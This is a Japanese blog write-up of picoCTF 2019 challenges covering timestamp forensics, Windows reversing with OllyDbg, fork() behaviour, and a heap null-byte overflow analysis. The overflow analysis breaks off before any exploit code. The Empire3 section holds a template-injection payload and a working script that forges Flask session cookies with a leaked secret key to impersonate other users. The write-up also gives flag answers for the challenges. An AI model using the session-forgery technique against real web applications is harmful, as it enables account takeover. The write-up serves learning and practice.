中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。
[Forensics] B1g_Mac (500pt)
Here's a zip file. You can also find the file in /problems/b1g-mac_0_ac4b0dbedcd3b0f0097a5f056e04f97
b1g_mac.zip
というファイルが配布されます。
$ unzip b1g_mac.zip Archive: b1g_mac.zip inflating: main.exe creating: test/ inflating: test/Item01 - Copy.bmp inflating: test/Item01.bmp inflating: test/Item02 - Copy.bmp inflating: test/Item02.bmp inflating: test/Item03 - Copy.bmp inflating: test/Item03.bmp inflating: test/Item04 - Copy.bmp inflating: test/Item04.bmp inflating: test/Item05 - Copy.bmp inflating: test/Item05.bmp inflating: test/Item06 - Copy.bmp inflating: test/Item06.bmp inflating: test/Item07 - Copy.bmp inflating: test/Item07.bmp inflating: test/Item08 - Copy.bmp inflating: test/Item08.bmp inflating: test/ItemTest - Copy.bmp inflating: test/ItemTest.bmp
うぉー、exeファイルが出てきた…。windows環境ないしどうしようかなぁ…。
と、droid3
に引き続き、雑にghidraに投げてみました。
使用されている主要な関数を抜き出してみます。ちょっと長いですが、気合を入れて読んでみます。アセンブリを読むよりは10000000倍マシ。
int main(int _Argc, char **_Argv, char **_Env) { undefined4 local_60; undefined buf_flag [50]; undefined4 local_28; undefined4 local_24; undefined4 local_20; size_t data_num; FILE *file_flag; int is_decode; ___main(); _isOver = 0; local_28 = 0x65742f2e; // et/. local_24 = 0x7473; // ts local_20 = 0; _folderName = &local_28; // ./test is_decode = 0; _pLevel = 0; file_flag = .text("flag.txt","r"); if (file_flag == (FILE *)0x0) { .text("No flag found, please make sure this is run on the server"); } data_num = .text(buf_flag,1,0x12,file_flag); // 0x12 = 18 if ((int)data_num < 1) { /* WARNING: Subroutine does not return */ .text(0); } _flag = buf_flag; _flag_size = 0x12; // 18 local_60 = 0; _flag_index = &local_60; .text("Work is done!"); _listdir(is_decode,_folderName); // メイン処理 .text("Wait for 5 seconds to exit."); _sleep(5); return 2; } void _listdir(int is_decode, undefined4 dirName) { int iVar1; BOOL result; char search_dirName [2048]; _WIN32_FIND_DATAA fileNames; HANDLE file_target; bool is_continue; int is_operate; file_target = (HANDLE)0x0; .text(search_dirName,"%s\\*.*",dirName); file_target = FindFirstFileA(search_dirName,(LPWIN32_FIND_DATAA)&fileNames); if (file_target == (HANDLE)0xffffffff) { .text("Path not found: [%s]\n",dirName); } else { is_operate = 1; is_continue = true; while (is_continue != false) { iVar1 = .text(fileNames.cFileName,"."); if ((iVar1 != 0) && (iVar1 = .text(fileNames.cFileName,".."), iVar1 != 0)) { .text(search_dirName,"%s\\%s",dirName,fileNames.cFileName); if ((fileNames.dwFileAttributes & 0x10) == 0) { if (is_operate == 1) { if (is_decode == 0) { _hideInFile(search_dirName); } else { if (is_decode == 1) { _decodeBytes(search_dirName); } } } is_operate = 1 - i; } else { .text("Folder: %s\n",search_dirName); _listdir(is_decode,search_dirName); } } if (_isOver != '\0') break; result = FindNextFileA(file_target,(LPWIN32_FIND_DATAA)&fileNames); is_continue = result != 0; } FindClose(file_target); } return; } void __cdecl _hideInFile(LPCSTR fileName) { BOOL result; // FILETIME: Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). _FILETIME lastWriteTime; _FILETIME lastAccessTime; _FILETIME creationTime; char char2; char char1; HANDLE targetFile; // CreateFileA(lpFileName, dwDesiredAccess, dwShareMode, // lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, // hTemplateFile) targetFile = CreateFileA(fileName, FILE_WRITE_ATTRIBUTES, 0, (LPSECURITY_ATTRIBUTES)0x0, OPEN_EXISTING, 0, (HANDLE)0x0); .text(targetFile); if (targetFile == (HANDLE)0xffffffff) { .text("Error:INVALID_HANDLED_VALUE"); } else { // GetFileTime(hFile, lpCreationTime, lpLastAccessTime, lpLastWriteTime) result = GetFileTime(targetFile,(LPFILETIME)&creationTime,(LPFILETIME)&lastAccessTime,(LPFILETIME)&lastWriteTime); if (result == 0) { .text("Error: C-GFT-01"); } else { char1 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; char2 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; _encodeBytes(char1,char2,(uint *)&lastWriteTime); if (0 < _pLevel) { char1 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; char2 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; _encodeBytes(char1,char2,(uint *)&creationTime); } if (_pLevel == 2) { char1 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; char2 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; _encodeBytes(char1,char2,(uint *)&lastAccessTime); } result = SetFileTime(targetFile,(FILETIME *)&creationTime,(FILETIME *)&lastAccessTime,(FILETIME *)&lastWriteTime ); if (result == 0) { .text("Error: C-SFT-01"); } else { if (_flag_size <= *_flag_index) { _isOver = 1; } CloseHandle(targetFile); } } } return; } void __cdecl _encodeBytes(char param_1, char param_2, uint *param_3) { *param_3 = (*param_3 & 0xffff0000) + (int)param_2 + (int)param_1 * 0x100; return; } void __cdecl _decodeBytes(LPCSTR fileName) { BOOL result; int level; undefined local_40 [12]; _FILETIME lastWriteTime; _FILETIME lastAccessTime; _FILETIME creationTime [2]; HANDLE targetFile; int i; // CreateFileA(lpFileName, dwDesiredAccess, dwShareMode, // lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, // hTemplateFile) targetFile = CreateFileA(fileName, FILE_READ_ATTRIBUTES, 0, (LPSECURITY_ATTRIBUTES)0x0, OPEN_EXISTING, 0, (HANDLE)0x0); .text(targetFile); if (targetFile == (HANDLE)0xffffffff) { .text("error loading the file"); } else { // GetFileTime(hFile, lpCreationTime, lpLastAccessTime, lpLastWriteTime) result = GetFileTime(targetFile,(LPFILETIME)creationTime,(LPFILETIME)&lastAccessTime,(LPFILETIME)&lastWriteTime); if (result == 0) { .text("error getting the times of the file"); } else { level = _pLevel + 1; i = 0; while ((i < level * 2 && (*_buff_index < _buff_size))) { *(undefined *)(_buff + *_buff_index) = local_40[i]; *_buff_index = *_buff_index + 1; i = i + 1; } if (_buff_size <= *_buff_index) { _isOver = 1; } } } return; }
何度か出てくる windows の関数はこちらのサイトで調べました。
Programming reference for the Win32 API - Win32 apps | Microsoft Docs
ざっと見た感じ、flagは18文字。
main
関数からlistdir
関数が呼ばれ、is_decode
変数が0
で渡された時はhideInFile
関数を、1
で渡された時はdecodeBytes
関数を呼びます。
この実行ファイルの中では、常にis_decode
変数が0
なので、encodeをする処理しか動きません。また、_pLevel
は0
で固定なので、_hideInFile
関数の処理で使われているのはlastWriteTime
を使った一番上の処理のみです。
ということで、flagが二文字ずつ下の関数に渡され、
void __cdecl _encodeBytes(char param_1, char param_2, uint *param_3) { *param_3 = (*param_3 & 0xffff0000) + (int)param_2 + (int)param_1 * 0x100; return; }
加工されてlastWriteTime
に埋め込まれているようです。どのファイルが対象かわからなかったので、配布されたファイル全部をチェックします。
最初は os.path.getctime(filename)
を使ってunixtimeでファイルの作成・最終アクセス・更新日時を取得していましたが、WindowsのFILETIMEは単位が100-nanosecond
なのに対して、os.path.getctime()
で取得できる単位は秒のUNIXTIMEなので、下位バイトの情報が落ちてしまっています。
更に、float <-> int の間の変換でも精度が落ちてしまいます…。
困ったなーっとググっているとこんなのを発見。
Getting last change time in Python on Windows - Stack Overflow
ctypes
を使っていい感じにFILETIMEを取ってこれる関数があるみたい!調べてみると、windows上でしか動かないみたい。WindowsAPIを使用するならそれはそうか。
ここまで結構サクサク来れたのでノリノリだったのですが、Windows環境を用意する腹をくくるのに時間がかかりました。最初は夫のWindowsマシンを借りてやるか!と思いましたが、夫&PC不在で借りれず。悩んだ結果、今回はWindowsのVMを使ってみることに。
最終的なコードはこちら。
#!/usr/bin/env python3 # -*- coding:utf-8 -* # reference below # https://stackoverflow.com/questions/38508351/getting-last-change-time-in-python-on-windows from ctypes import windll, Structure, byref from ctypes.wintypes import LPWSTR, DWORD, FILETIME class WIN32_FILE_ATTRIBUTE_DATA(Structure): _fields_ = [("dwFileAttributes", DWORD), ("ftCreationTime", FILETIME), ("ftLastAccessTime", FILETIME), ("ftLastWriteTime", FILETIME), ("nFileSizeHigh", DWORD), ("nFileSizeLow", DWORD)] def get_winfiletime(filename): wfad = WIN32_FILE_ATTRIBUTE_DATA() GetFileExInfoStandard = 0 windll.kernel32.GetFileAttributesExW(LPWSTR(filename), GetFileExInfoStandard, byref(wfad)) lowtime = wfad.ftLastWriteTime.dwLowDateTime hightime = wfad.ftLastWriteTime.dwHighDateTime filetime = (hightime << 32) + lowtime return filetime def decodeBytes(value): print(chr((value & 0xff00) // 0x100)) # param1 print(chr(value & 0xff)) # param2 return chr((value & 0xff00) // 0x100), chr(value & 0xff) flag = '' for i in range(9): filenum = '0' + str(i+1) if i==8: filenum = 'Test' """ it's not flag. filename = './test/Item' + filenum + '.bmp' print(filename) ord_wtime = get_winfiletime(filename) print('original w: ' + str(ord_wtime)) decodeBytes(int(ord_wtime)) """ filename_copy = './test/Item' + filenum + ' - Copy.bmp' cpy_wtime = get_winfiletime(filename_copy) print('copy w: ' + str(cpy_wtime)) c1, c2 = decodeBytes(int(cpy_wtime)) flag += c1 + c2 print(flag)
>python solve.py copy w: 131980296080027753 p i copy w: 131980296340005743 c o copy w: 131980296509997908 C T copy w: 131980296730003067 F { copy w: 131980296889978164 M 4 copy w: 131980298579960660 c T copy w: 131980298870024557 i m copy w: 131980299550012213 3 5 copy w: 131980329319997821 ! } picoCTF{M4cTim35!}
unzip
やwinのここに展開
で解凍すると、作成・閲覧・変更日時がずれてしまうのかうまくいきませんでした。幾つか解凍ツールを試しましたが、win上で7zipで解凍すると上記のflagが出てくる日時になりました。
ところでなんでタイトルBigMacだったんですかね??
[Reversing] B1ll_Gat35 (400pt)
Can you reverse this Windows Binary?
Hints
Microsoft provides windows virtual machines https://developer.microsoft.com/en-us/windows/downloads/virtual-machines
Ollydbg may be helpful
Flag format: PICOCTF{XXXX}
ビルゲイツ問題。これはwindowsだからビルゲイツかな?
実行ファイルwin-exec-1.exe
が配布されます。
何かのReversing問題450点くらいのを解いたあとに出てきていて、「Windowsかー」「しかも400点問題が増えちゃったなー」と後回しにしていたのですが、先に上の B1g_Mac を解いたので、シリーズものっぽいし、Windows繋がりの勢いで手を付けてみました。400pt問題ですがこっちの記事に書いちゃいます。
こっちのヒントを先に読んでおけばよかった…。WindowsVMの案内もあります。
まずはB1g_Mac同様、ghidraにdecompileしてもらいました。
今回は大きいのか、解析に時間が少しかかりました。decompile結果、読めなくはないんですけどつらそう。関数がたくさんある & GOTO多め & アドレス指定の変数が多い。
いったんこの路線は諦めて、せっかく構築したWindows環境で実行してみます。
Input a number between 1 and 5 digits: 1 Initializing... Enter the correct key to get the access codes:
keyが必要みたい。
Hintsで紹介されている、Windowsのバイナリ解析ツール、OllyDbgを試してみます。サイトからDLして展開したらEXEファイルが出てくるので、これを実行するだけ。
立ち上げて対象の実行ファイルを食わせたら、画面左下に早速アヤシイ文字列が出てきました。ちなみにこの情報は、別に下記コマンドでも得られる。
$ strings win-exec-1.exe | grep PICO -n8 1709-#.X'= 1710-i9+= 1711-RSDS 1712-C:\Users\abush\Desktop\pico-win-problems\win-exec-1.pdb 1713-%llu 1714-The key is: 1715-%s%s 1716-%llu 1717:PICOCTF{These are the access codes to the vault: 1718-%s%s%s 1719-Input a number between 1 and 5 digits: 1720-Number too big. Try again. 1721-Initializing... 1722-Enter the correct key to get the access codes: 1723-Incorrect key. Try again. 1724-Correct input. Printing flag: 1725-
PICOCTF{
から始まる文字列があったので色めきだったけど、まだflagじゃなかった。この文字列で大体流れがつかめます。
実行していくと、きっと These are the access codes to the vault:
の先の %s%s%s
の値が埋まって出てくるに違いない。
OllyDbgの使い方は CTFの過去問を解いてOllyDbgの使い方を覚える。 - kira924ageの雑記帳 この記事なんかがやりたいことと一致していてわかりやすかったです。もちろん公式ドキュメント見るのが良いんでしょうけど。
トリコロールな猫さんのサイトでも優しく紹介されていました。ちょっと古いけど。第零話:まずは動かしてみる 〜ブレイクポイントとステップ実行〜|トリコロールな猫|note
画面は
- 左上: コード
- 左下: データ
- 右上: レジスタ
- 右下: スタック
の構成。メニューバーの青い三角を押すと、Debugを開始してくれるので、とにかく押してみました。ウィンドウが立ち上がって、Debugが開始されます。この時点でデータやスタックを眺めてみますが特にアヤシイ変化なし。
最初のInput a number between 1 and 5 digits:
の入力に適当に1
を入れてみます。すると、データの領域の下の方にこんな文字列が現れました。
00A7C280 54 68 65 20 6B 65 79 20 The key 00A7C288 69 73 3A 20 34 32 35 33 is: 4253 00A7C290 33 36 30 00 360.
お!keyかな?
4253360
をEnter the correct key to get the access codes:
のあとに入れてみました。
違うみたいです。でも絶対これだと思うんだよなー!ということで、Debuggerをrestartして、今度はここでThe key is: 4253360
を入れてみました。
フラグゲット٩(๑❛ᴗ❛๑)尸
Windows問題は食わず嫌いしてたけど、これくらいの問題で500点取れるならやるべき…!まぁ解けるまで難易度はわからないんだけども…。
[Web] Empire3 (500pt)
Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? https://2019shell1.picoctf.com/problem/45132/ (link) or http://2019shell1.picoctf.com:45132
指定されたリンクに行くと、見慣れたtop画面に飛びます。
Empire2の続きのようなので、2でやった手順を試してみます。
Register,Loginし、Create Todo で{{config}}
を入れると、今回もちゃんと刺さります。
Config { 'ENV':'production', 'DEBUG':False, 'TESTING':False, 'PROPAGATE_EXCEPTIONS':None, 'PRESERVE_CONTEXT_ON_EXCEPTION':None, 'SECRET_KEY':'9806d62bb5f4986c09a3872abf448e85', 'PERMANENT_SESSION_LIFETIME':datetime.timedelta(31), 'USE_X_SENDFILE':False, 'SERVER_NAME':None, 'APPLICATION_ROOT':'/', 'SESSION_COOKIE_NAME':'session', 'SESSION_COOKIE_DOMAIN':False, 'SESSION_COOKIE_PATH':None, 'SESSION_COOKIE_HTTPONLY':True, 'SESSION_COOKIE_SECURE':False, 'SESSION_COOKIE_SAMESITE':None, 'SESSION_REFRESH_EACH_REQUEST':True, 'MAX_CONTENT_LENGTH':None, 'SEND_FILE_MAX_AGE_DEFAULT':datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS':None, 'TRAP_HTTP_EXCEPTIONS':False, 'EXPLAIN_TEMPLATE_LOADING':False, 'PREFERRED_URL_SCHEME':'http', 'JSON_AS_ASCII':True, 'JSON_SORT_KEYS':True, 'JSONIFY_PRETTYPRINT_REGULAR':False, 'JSONIFY_MIMETYPE':'application/json', 'TEMPLATES_AUTO_RELOAD':None, 'MAX_COOKIE_SIZE':4093, 'SQLALCHEMY_DATABASE_URI':'sqlite://', 'SQLALCHEMY_TRACK_MODIFICATIONS':False, 'SQLALCHEMY_BINDS':None, 'SQLALCHEMY_NATIVE_UNICODE':None, 'SQLALCHEMY_ECHO':False, 'SQLALCHEMY_RECORD_QUERIES':None, 'SQLALCHEMY_POOL_SIZE':None, 'SQLALCHEMY_POOL_TIMEOUT':None, 'SQLALCHEMY_POOL_RECYCLE':None, 'SQLALCHEMY_MAX_OVERFLOW':None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN':False, 'SQLALCHEMY_ENGINE_OPTIONS':{ }, 'BOOTSTRAP_USE_MINIFIED':True, 'BOOTSTRAP_CDN_FORCE_SSL':False, 'BOOTSTRAP_QUERYSTRING_REVVING':True, 'BOOTSTRAP_SERVE_LOCAL':False, 'BOOTSTRAP_LOCAL_SUBDOMAIN':None }
今回もSECRET_KEY
が表示されました。同様にsessionを復元できそう。
Empire2と同じスクリプトで、自分のsession(cookieに保存されている)を復元してみます。
$ python solve.py {'_fresh': True, '_id': '3e2eddced0d11e1ac096fae48e0041b335d51997d34d0d14d925ca405eb975deda640ff08f0ffb38e83ea8396c28589cd101135b1e7ff715f611af842dad8fbd', 'csrf_token': '0678af51d58f1a449b33ea54300a755e861afaf4', 'user_id': '3'}
復号には成功しましたが、今回はこの中にflagはなさそうです。そういえば問題文でも、他人のTODOにアクセスするっぽいことを言っています。
今度は、またpicoCTF2018のFlaskcards and Freedomと同じですが、sessionを書き換えて他人のふりしてTODOを見ることを考えます。
user_id
が3
なので、すでにいるっぽい1
や2
を試してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # this code is refer to bellow site # https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f#flask-%E3%81%AE%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%94%B9%E3%81%96%E3%82%93 import zlib from flask.sessions import SecureCookieSessionInterface from itsdangerous import base64_decode, URLSafeTimedSerializer secret_key = '9806d62bb5f4986c09a3872abf448e85' cookie = '.eJwtj0GKAzEMBP_icw7SSLLlfGaQLYkNgV2YSU4hf48De-lTFVS_yp5HnD_l-jiecSn7zcu1UGzhPsPBEQNtQq9pwRoAjINIXLD35sRfhL1vMo1BYvQmHm6VIRM01w7SUApT6nVuKtqnIyCSDIyW2VCyIloqb26uObxcyjyP3B9_9_hdPVCbWgq6aKIx95UQJkwA1kRC69IteXnPM47_E-X9ATA6P88.XgSpPw.buNO5zG5517aCne-Xfh8Cp-Ff_0' class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # NOTE: Override method def get_signing_serializer(self, secret_key): signer_kwargs = { 'key_derivation': self.key_derivation, 'digest_method': self.digest_method } return URLSafeTimedSerializer( secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs ) class FlaskSessionCookieManager: @classmethod def decode(cls, secret_key, cookie): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookie) @classmethod def encode(cls, secret_key, session): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(session) # main user_session = FlaskSessionCookieManager.decode(secret_key, cookie) print(user_session) admin_session = user_session admin_session['user_id'] = '2' # ここで書き換え print(admin_session) admin_cookie = FlaskSessionCookieManager.encode(secret_key, admin_session) print(admin_cookie)
実行結果
$ python solve.py {'_fresh': True, '_id': '3e2eddced0d11e1ac096fae48e0041b335d51997d34d0d14d925ca405eb975deda640ff08f0ffb38e83ea8396c28589cd101135b1e7ff715f611af842dad8fbd', 'csrf_token': '0678af51d58f1a449b33ea54300a755e861afaf4', 'user_id': '3'} {'_fresh': True, '_id': '3e2eddced0d11e1ac096fae48e0041b335d51997d34d0d14d925ca405eb975deda640ff08f0ffb38e83ea8396c28589cd101135b1e7ff715f611af842dad8fbd', 'csrf_token': '0678af51d58f1a449b33ea54300a755e861afaf4', 'user_id': '2'} .eJwlj0FqQzEMBe_idRaSJdlyLvORLYmGQAv_J6vSu9elm7eagXnf5cgzro9yf53vuJXj4eVeKGq4r3BwxEBbMFpasAYA4yQSFxyjO_Efwj6qLGOQmKOLh1tjyATNvZM0lMKURltVRcdyBESSidEzO0o2REvl6uaa08utrOvM4_X1jM_dA62rpaCLJhrz2AlhwgRgXSS0bd2St_e-4vw_UcvPLzA3P84.XgSsGw.WGsEecfuxzvLDkLx30m3TPMmSL4
最後の書き換え後のsessionで書き換えてYour Todos
タブを再度読み込むと、そのユーザーのTODOが見えました!ちなみに、user_id:1
のユーザーはこちら
意味あるものはなさそう。
user_id:2
のユーザーのTODOはこちら
flag発見!( ✧Д✧)
Empireシリーズは、1が思いつけば2,3はわりとすぐ解けた気がするなぁ。無念。
[Reversing] Forky (500pt)
In this program, identify the last integer value that is passed as parameter to the function doNothing(). The binary is also found in /problems/forky_6_ca672d992b613323ffc1920706557d0b on the shell server.
Hints
What happens when you fork? The flag is picoCTF{IntegerYouFound}. For example, if you found that the last integer passed was 1234, the flag would be picoCTF{1234}
ヒントからして、flagは定形フォーマットじゃないようです。
実行ファイルvuln
が配布されます。早速ghidraで解析してもらいます。
undefined4 main(void) { int *piVar1; piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0); *piVar1 = 1000000000; fork(); fork(); fork(); fork(); *piVar1 = *piVar1 + 0x499602d2; doNothing(*piVar1); return 0; } void doNothing(void) { __x86.get_pc_thunk.ax(); return; }
forkは子プロセスを生成する関数なので、子プロセスが4回生成されます。Man page of FORK 参照。
そのままの実行ファイルでは、doNothing()
で何もしないのでわかりませんが、おそらく最後にdoNothing
に渡されるpiVar1
の値がflagになりそう。
殆どghidraでc言語になっているので、doNothing
関数でpiVar1
の値を出力するようにし、linux上でコンパイル、実行してみました。
ソース
#include <stdio.h> #include <unistd.h> #include <sys/mman.h> void doNothing(int val) { printf("%d\n", val); return; } int main(void) { int *piVar1; piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0); *piVar1 = 1000000000; fork(); fork(); fork(); fork(); *piVar1 = *piVar1 + 0x499602d2; doNothing(*piVar1); return 0; }
$ gcc -m64 solve.c -o solve
実行
$ ./solve -2060399406 -825831516 408736374 1643304264 -1417095142 -182527252 1052040638 -2008358768 -773790878 1695344902 460777012 -1365054504 -130486614 -1956318130 1104081276 -721750240
forkでは、現在のプロセスを複製するそうなので複製されたプロセス全部でdoNothing
が呼ばれます。最後の状態かな?ということで picoCTF{-721750240}
を入れると通りました٩(๑❛ᴗ❛๑)۶
でも500pt問題でこの解き方は想定解だったのだろうか?
[Binary] Ghost_Diary (500pt)
Try writing in this ghost diary. Its also found in /problems/ghost-diary_3_ef159a8a880a083c73a2bb724fc0bfcb on the shell server.
確か最初からOpenしている500pt問題。ちょっと挑んでみて時間がかかりそうだったので後回しにしていました。
実行ファイル ghostdiary
が配布されます。指定のpicoCTFのshell serverに行ってみるとflag.txt
が置いてあるので、最終的にはpicoCTFのshell上で実行するようです。
アーキテクチャなどなど情報。
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
全部入り。RELROはFullじゃなくてPartialだけど。
glibc情報を調査。これいつもやるべきやつ。癖にしておきたい。
$ ldd ghostdiary linux-vdso.so.1 (0x00007ffe717c9000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8b14812000) /lib64/ld-linux-x86-64.so.2 (0x00007f8b14e06000) $ strings /lib/x86_64-linux-gnu/libc.so.6 | grep GNU GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. Compiled by GNU CC version 7.3.0.
ということで、glibcのversionは2.27。このライブラリはlibc.so.6
と同じ階層にありました。
動かしてみます。
$ ./ghostdiary -=-=-=[[Ghost Diary]]=-=-=- 1. New page in diary 2. Talk with ghost 3. Listen to ghost 4. Burn the page 5. Go to sleep
メニューを選んで diary を操作するようです。ちなみにshell server上にはghostdiary.c
も置いてありましたが、権限無しで開けませんでした。シェルを取れば読めたらしいけど、読めなくなってたのは想定通りだったのかな?
ということで、picoCTFのBinary問題にしては珍しくソースコードなし。なんとしてもアセンブリを読むのを回避したいので、Ghidraでdecompileしてもらいました。いつもの通り、変数名は解読しながらちょっと変えたりコメント入れたりしています。大筋に影響なさそうな処理も消しています。
// entryから呼ばれている関数 undefined8 FUN_00100f87(void) { int result_getMenu; undefined4 menuInput; setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); alarm(0x3c); signal(0xe,FUN_00100f72); puts("-=-=-=[[Ghost Diary]]=-=-=-"); do { show_menu(); __isoc99_scanf(&DAT_0010119d,&menuInput); do { result_getMenu = getchar(); } while (result_getMenu != 10); switch(menuInput) { default: puts("Invalid choice"); break; case 1: // 1. New page in diary create(); break; case 2: // 2. Talk with ghost talk(); break; case 3: // 3. Listen to ghost listen(); break; case 4: // 4. Burn the page burn(); break; case 5: // 5. Go to sleep puts("bye human!"); return 0; } } while( true ); } void show_menu(void) { puts("1. New page in diary"); puts("2. Talk with ghost"); puts("3. Listen to ghost"); puts("4. Burn the page"); puts("5. Go to sleep"); printf("> "); return; } void create(void) { void *mallocedAddr; uint sizeInput; int createMenuInput; uint page_num; page_num = 0; while ((page_num < 0x14 && (*(long *)(&DAT_00302060 + (ulong)page_num * 0x10) != 0))) { page_num = page_num + 1; } if (page_num == 0x14) { // 20 puts("Buy new book"); } else { puts("1. Write on one side?"); puts("2. Write on both sides?"); while( true ) { while( true ) { while( true ) { printf("> "); __isoc99_scanf(&DAT_0010119d,&createMenuInput); if (createMenuInput != 1) break; printf("size: "); __isoc99_scanf(&DAT_0010119d,&sizeInput); if (sizeInput < 0xf1) goto LAB_WRITE_ONE_SIDE; // 241 puts("too big to fit in a page"); } if (createMenuInput != 2) goto LAB_NOT_MENU; printf("size: "); __isoc99_scanf(&DAT_0010119d,&sizeInput); if (0x10f < sizeInput) break; // 271 puts("don\'t waste pages -_-"); } if (sizeInput < 0x1e1) break; // 481 puts("can you not write that much?"); } LAB_WRITE_ONE_SIDE: mallocedAddr = malloc((ulong)sizeInput); *(void **)(&DAT_00302060 + (ulong)page_num * 0x10) = mallocedAddr; if (*(long *)(&DAT_00302060 + (ulong)page_num * 0x10) == 0) { puts("oh noooooooo!! :("); } else { *(uint *)(&DAT_00302068 + (ulong)page_num * 0x10) = sizeInput; printf("page #%d\n",(ulong)page_num); } } LAB_NOT_MENU: __stack_chk_fail(); } void talk(void) { uint pageIndex; printf("Page: "); __isoc99_scanf(&DAT_0010119d,&pageIndex); printf("Content: "); if ((pageIndex < 0x14) && (*(long *)(&DAT_00302060 + (ulong)pageIndex * 0x10) != 0)) { readInput(*(undefined8 *)(&DAT_00302060 + (ulong)pageIndex * 0x10), (ulong)*(uint *)(&DAT_00302068 + (ulong)pageIndex * 0x10)); } return; } void readInput(long targetAddr, uint maxSize) { ssize_t result_read; char c; uint index; index = 0; if (maxSize != 0) { while (index != maxSize) { result_read = read(0,&c,1); if (result_read != 1) { puts("read error"); exit(-1); } if (c == '\n') break; *(char *)((ulong)index + targetAddr) = c; index = index + 1; } *(undefined *)(targetAddr + (ulong)index) = 0; } __stack_chk_fail(); } void listen(void) { uint pageIndex; printf("Page: "); __isoc99_scanf(&DAT_0010119d,&pageIndex); printf("Content: "); if ((pageIndex < 0x14) && (*(long *)(&DAT_00302060 + (ulong)pageIndex * 0x10) != 0)) { puts(*(char **)(&DAT_00302060 + (ulong)pageIndex * 0x10)); } return; } void burn(void) { long in_FS_OFFSET; uint pageIndex; printf("Page: "); __isoc99_scanf(&DAT_0010119d,&pageIndex); if ((pageIndex < 0x14) && (*(long *)(&DAT_00302060 + (ulong)pageIndex * 0x10) != 0)) { free(*(void **)(&DAT_00302060 + (ulong)pageIndex * 0x10)); *(undefined8 *)(&DAT_00302060 + (ulong)pageIndex * 0x10) = 0; } return; }
このコードをじっくり眺めて、怪しいところがないか探してみます。Binary問題にしては珍しく、ノーヒントです。
ちょっと書き方が複雑なcreateの処理が怪しい気がするなー。と思って、問題形式が似ている、今まで解いてきたヒープ系の問題のなにかに当たらないかじっくり見てみましたが、特に見つからなかった。
大概 create, update, delete のどこかに穴があるから、今回もそうかな?…まだBinary系問題はどこをとっかかりにして良いのかわからない…。やっぱりしばらく考えてもわからなかったので、他の方のwriteupを沢山読ませていただきました。
一つのwriteupを読んでいても、細かいわからないところがたくさん出てくるので、いつもこんな感じでBinaryの難しめの問題は沢山writeupを読みながら進めています。解法が同じじゃなかったりして厳しいこともありますが、そういうことか!という気づきも多いです。picoCTFは難しめの問題でも幾つかwritupが見つかるのが助かります。
- picoCTF 2019 write-up - Qiita
- 最終的にこれを中心に読んだ
- Pico19 Ghost Diary · roblog
- コードとセットになっていないが、わかりやすく簡潔だった
- [picoctf] Ghostdiary | Fascinating Confusion
- Will's Root: PicoCTF 2019 Ghost Diary Writeup
これは知らなかった。新しいやつだ。NULL byte overflow
というらしい。ほか、NULL byte poisoning
とも言うようだ。
去年のBinary問題全部解いたので、手が出せるかなーと思ってたけど、さっぱりだった\(*T▽T*)/ 逆に競技期間中は早々に撤退して正解だったということか。
The libc version is 2.27 which implies the use of tcache with very little security checks. All protections are enabled, implying a heap only exploit.
というのがパッと見わかるようになると強いんだろうなぁ。tcacheについてはこちらに情報まとめておきました。
その他、ざっと見た調査で以下のことがわかる(らしい)。
- ページは最大20ページ。すなわちchunkは20個まで作成できる。
- まず、create関数に書いてある、作成できるサイズの制約に注目してみる。
one sideに書く場合はsize < 0xf1 (241)
, both sidesに書く場合は、size > 0x10f(271) && size < 0x1e1(481)
で、LAB_WRITE_ONE_SIDE
の処理、すなわち malloc 処理に飛べる。変な制約である。 talk()
関数から呼ばれているreadInput()
関数に、NULL byte overflowがある。- freeされているかに関わらず、どのchunkもprintして見ることが出来る(
listen()
関数)ので、これをlibc leakの出力に使えそう。
void readInput(long targetAddr, uint maxSize) { ...(略) *(undefined *)(targetAddr + (ulong)index) = 0;
このコードが Null byte overflow。
tcache
glibc 2.26 (ubuntu 17.10) 以降のテクニック。glibc2.26自体は、2017/8/2にリリースされた。heap管理のパフォーマンス向上のために導入されたが、多くのセキュリティチェックをしていないため、新しい攻撃手法がたくさん見つかっている。最新のglibcでは修正されているとのこと。
tcacheの特徴、良く使われる攻撃手法はこちらに。
Null byte overflow
Null byte overflow
, Null byte poisoning
でググってみたが、日本語のサイトはヒットしなかった。唯一ヒットした http://pwn.hatenadiary.jp
はあの1件以来閉じられてしまった、"怖いから閉じちゃお"のコメントだけ残された例のサイトだ…。残念。
Heap Exploitation: Off-By-One / Poison Null Byte – devel0pment.de
このページがめちゃめちゃわかりやすかった。stack-basedとheap-basedのexploitの違いも丁寧に解説してくれている。わしにはheapはまだ早かったんじゃよ…という気持ちになりつつ、めげずに読む。基礎的な部分も解説を挟んでくれてとても優しい。読みやすい…🥺 まずはこれを読んで glibc leak までをしっかり理解してから挑みます。
exploit
